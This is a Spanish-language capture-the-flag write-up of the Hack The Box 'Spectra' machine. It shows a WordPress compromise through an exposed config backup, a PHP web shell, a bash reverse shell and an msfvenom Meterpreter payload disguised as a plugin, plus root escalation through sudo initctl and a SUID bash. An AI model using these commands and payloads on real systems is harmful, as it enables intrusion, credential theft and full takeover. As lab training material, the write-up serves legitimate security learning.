Introducción

Resolución de la máquina Spectra de Hack The Box, clasificada como de dificultad fácil. Se trata de un entorno tipo ChromeOS/Ubuntu en el que explotamos varios vectores:

• Un entorno de pruebas mal configurado que permite el Directory Listing
• Acceso a una copia de seguridad del archivo wp-config.php, donde extraemos las credenciales de WordPress
• Acceso por SSH como el usuario katie usando credenciales descubiertas
• Escalada de privilegios mediante el uso de sudo initctl, que nos permite crear/modificar un servicio del sistema sin necesidad de contraseña para ejecutar comandos como root

Durante el proceso se utilizaron herramientas comunes como:

• nmap para el escaneo de puertos
• Navegador y enumeración manual para explorar WordPress
• nc (Netcat) para establecer reverse shells
• Comandos estándar de Linux (sudo -l, initctl, bash -p, etc.) para la post-explotación

La máquina representa un caso realista de mala configuración de servicios y permisos, ideal para aprender técnicas básicas de escalada de privilegios en sistemas basados en Upstart.

Metodología

Enumeración

Durante el reconocimiento inicial se descubrió lo siguiente:

• Puerto 22 (SSH) abierto
• Puerto 80 (HTTP) abierto
• Puerto 3306 (MySQL) abierto
• Un sitio web que redirigía a spectra.htb, lo que implicaba editar el archivo /etc/hosts
• Exploración de WordPress en el sitio (/main), lo que te llevó a enumerar plugins y buscar rutas vulnerables. Incluso considerar posible inyección de código.

Fig 1 Enumeración de puertos con Nmap

Acceso Inicial

Accedo a la web desde el navegador. Se explora la web y se comprueba que redirigen a spectra.htb.

 

Agrego el dominio al fichero /etc/hosts para que el sistema pueda resolver spectra.htb localmente y acceder al sitio web correctamente. Esto es necesario ya que algunos servicios están configurados para responder solo a peticiones hechas mediante el nombre de dominio.

Añadimos esta línea al fichero:

10.10.10.229 spectra.htb

Ahora ya se puede acceder a spectra.htb

Reconocimiento Web

Se comienza explorando manualmente la web principal para entender su funcionalidad y detectar posibles puntos de interés o vectores de ataque.

A continuación, se lanza Gobuster para realizar fuerza bruta sobre los directorios y archivos disponibles:

gobuster dir -u http://spectra.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt

Mientras tanto, se realiza una enumeración de tecnologías utilizando herramientas como WhatWeb y la extensión de navegador Wappalyzer:
whatweb http://spectra.htb

La salida muestra lo siguiente:

http://spectra.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.17.4], IP[10.10.10.229], nginx[1.17.4]

Con el uso de la extensión Wappalyzer podemos comprobar que es una versión desactualizada de WordPress, la plantilla es Twenty Twenty, PHP, MySQL y que hay librerías de Javascript.

Fig 4 Uso de Whatweb

Gracias a Wappalyzer también se observa que el sitio utiliza WordPress (con una versión desactualizada), el tema activo es Twenty Twenty, y emplea tecnologías como PHP, MySQL y varias librerías de JavaScript.

Enumeración de Directorios – Gobuster

Se ejecuta Gobuster para enumerar posibles rutas o directorios ocultos en la aplicación web. Se utilizó la siguiente configuración:

gobuster dir -u http://spectra.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt

Resultado:

/index.html (Status: 200) [Size: 283]

/main (Status: 301) [Size: 169] [–> http://spectra.htb/main/]

/testing (Status: 301) [Size: 169] [–> http://spectra.htb/testing/]

 

Se descubren dos rutas interesantes:

• /main/: redirige a una posible sección funcional del sitio.
• /testing/: sugiere un entorno de pruebas que podría contener información sensible o configuración no segura.

Estas rutas serán investigadas a continuación para detectar posibles vectores de ataque o fugas de información.

Fig 5 Información obtenida a través de Gobuster

Al acceder a la ruta /testing/ descubierta con Gobuster, se observa que está habilitado el Directory Listing. Esto significa que el servidor permite ver directamente el contenido del directorio, lo cual puede suponer una fuga de información sensible.

Fig 6 Contenido del subdominio /testing

Dentro de /testing/ se encuentra un archivo llamado:

Podemos ver que hay dos ficheros de configuración expuestos:
– `wp-config.php.save`
– `wp-config.php`
Es curioso que el archivo wp-config.php.save tenga una fecha posterior a wp-config.php, por lo que deducimos que éste ha podido ser modificado. Resulta contradictorio que el archivo `.save` sea más antiguo que el `wp-config.php`), pero comprobando el contenido, vemos que era una pequeña trampa.

Ahora buscamos las credenciales mediante el uso de la herramienta curl:
curl http://spectra.htb/testing/wp-config.php.save

Fig 7 Herramienta curl para poder visualizar el contenido y obtenemos las credenciales.

Acceso al panel de administración de WordPress

Al examinar el contenido del archivo wp-config.php.save, además de las credenciales de la base de datos, encontramos las credenciales de acceso para el usuario Admin en WordPress. Estas credenciales nos permiten iniciar sesión en el panel de administración de WordPress accediendo a:

http://spectra.htb/main/wp-login.php

Durante la navegación por el blog, se observa que el único post publicado fue creado por el usuario Administrator, lo que sugiere que es el usuario principal del sistema.

Probando la misma contraseña encontrada en el archivo de configuración junto con el usuario Administrator, logramos autenticarnos exitosamente en el panel de administración de WordPress.

Ejecución Remota de Comandos en WordPress

El siguiente objetivo es el de poder ejecutar de manera remota comandos.
Intenté inicialmente obtener una shell modificando la plantilla 404.php desde el editor de temas de WordPress. Añadí el siguiente código para ejecutar comandos desde la URL usando la variable

cmd:

<?php
echo «<pre>»;
system($_GET[‘cmd’]);
echo «</pre>»;
?>

Sin embargo, WordPress no permitía guardar los cambios en la plantilla, posiblemente por restricciones de permisos o medidas de seguridad activas en la configuración del servidor.

Mi siguiente opción fue la de subir una revershell como plugin, añadiendo el siguiente código:

<?php

/* Plugin Name: Reverse Shell

Description: Simple reverse shell for HTB

Version: 1.0

*/

exec(«/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.13/4444 0>&1′»);

?>

 

Sin embargo, WordPress eliminaba automáticamente el plugin tras subirlo, impidiendo su activación. Esto puede deberse a mecanismos de seguridad como comprobaciones de integridad o escaneos automáticos de código malicioso.

Ejecución Exitosa: Meterpreter Shell desde Plugin

Dado que la reverse shell simple no funcionó, opté por usar Metasploit para obtener una sesión Meterpreter mediante un payload más fiable. Para ello, se creó un payload con msfvenom

Generé una shell PHP con Meterpreter usando el siguiente comando:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f raw > shell.php

Modifiqué el inicio del archivo para convertirlo en un plugin válido:

<?php
/*
Plugin Name: Meterpreter Reverse Shell
Description: Metasploit PHP reverse shell for HTB
Version: 1.0
Author: HTB User
*/

Y pegué justo debajo el código generado por msfvenom.

Lo comprimí en un archivo .zip para subirlo a WordPress:

zip meterpreter_plugin.zip shell.php

Lo subí como un plugin desde el panel de admin de WordPress y lo activé.
Por otro lado, en metasploit configuré el handler para ponerlo a la escucha:

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.10.14.13
set LPORT 4444
set ExitOnSession false
exploit

Y conseguí de manera exitosa tener acceso remoto como usuario web a la máquina víctima a través de una sesión Meterpreter.

Fig 8 Obtenemos una sesión de Meterpreter

Comprobamos que somos el usuario NGINX

Fig 9 Comprobación de usuario actual.

Tras obtener acceso a la máquina mediante la sesión Meterpreter, comencé la fase de enumeración local para buscar posibles credenciales o vectores de escalada de privilegios.

Durante esta fase, encontré en el directorio /opt un archivo interesante llamado autologin.conf.orig, el cual parecía pertenecer a una configuración de inicio automático.

Para ver su contenido utilicé el siguiente comando en Meterpreter:

meterpreter > cat /opt/autologin.conf.orig

El archivo contenía una configuración que indicaba que el sistema leía una contraseña desde el archivo /etc/autologin/passwd.

Procedí a abrir ese archivo:

meterpreter > cat /etc/autologin/passwd

Y obtuve una contraseña en texto plano, que más adelante resultó ser válida para el usuario katie.

Fig 10 Obtención de contaseña desde sesión de Meterpreter

Esta contraseña representó un punto clave, ya que con ella pude realizar conexión SSH como usuario katie, lo cual facilitó el siguiente paso de la escalada de privilegios.

Fig 11 Obtenemos sesión SSH con usuario Katie

El usuario katie pertenece al grupo developers, lo cual permite modificar ciertos archivos. Al ejecutar sudo -l, vemos que katie puede usar sudo sin contraseña para ejecutar /sbin/initctl.

initctl permite controlar servicios definidos en /etc/init/. Listando ese directorio, encontramos el archivo test.conf, que es modificable por el grupo developers.

Modificamos este archivo para que ejecute un chmod +s /bin/bash, otorgando el bit SUID al binario. Esto permite escalar privilegios con bash -p.

Aquí el objetivo era modificar este archivo, para que ejecute un chmod +s /bin/bash para otorgarle privilegio SUID al binario de bash, para que al ejecutar bash -p me asigne permisos de root. Pero yo me encontré con los siguientes problemas:

1. Restauración automática del archivo

• Al modificar /etc/init/test.conf, el contenido se restauraba automáticamente

2. Servicio ya en ejecución

• El servicio test permanecía ejecutándose, impidiendo reiniciarlo

La solución fue:
– Detener completamente el servicio y, acto seguido, modificar el archivo y ejecutarlo de manera inmediata.
Posteriormente, la escala de privilegios

Fig 12 Escalada a root y obtención de la flag de root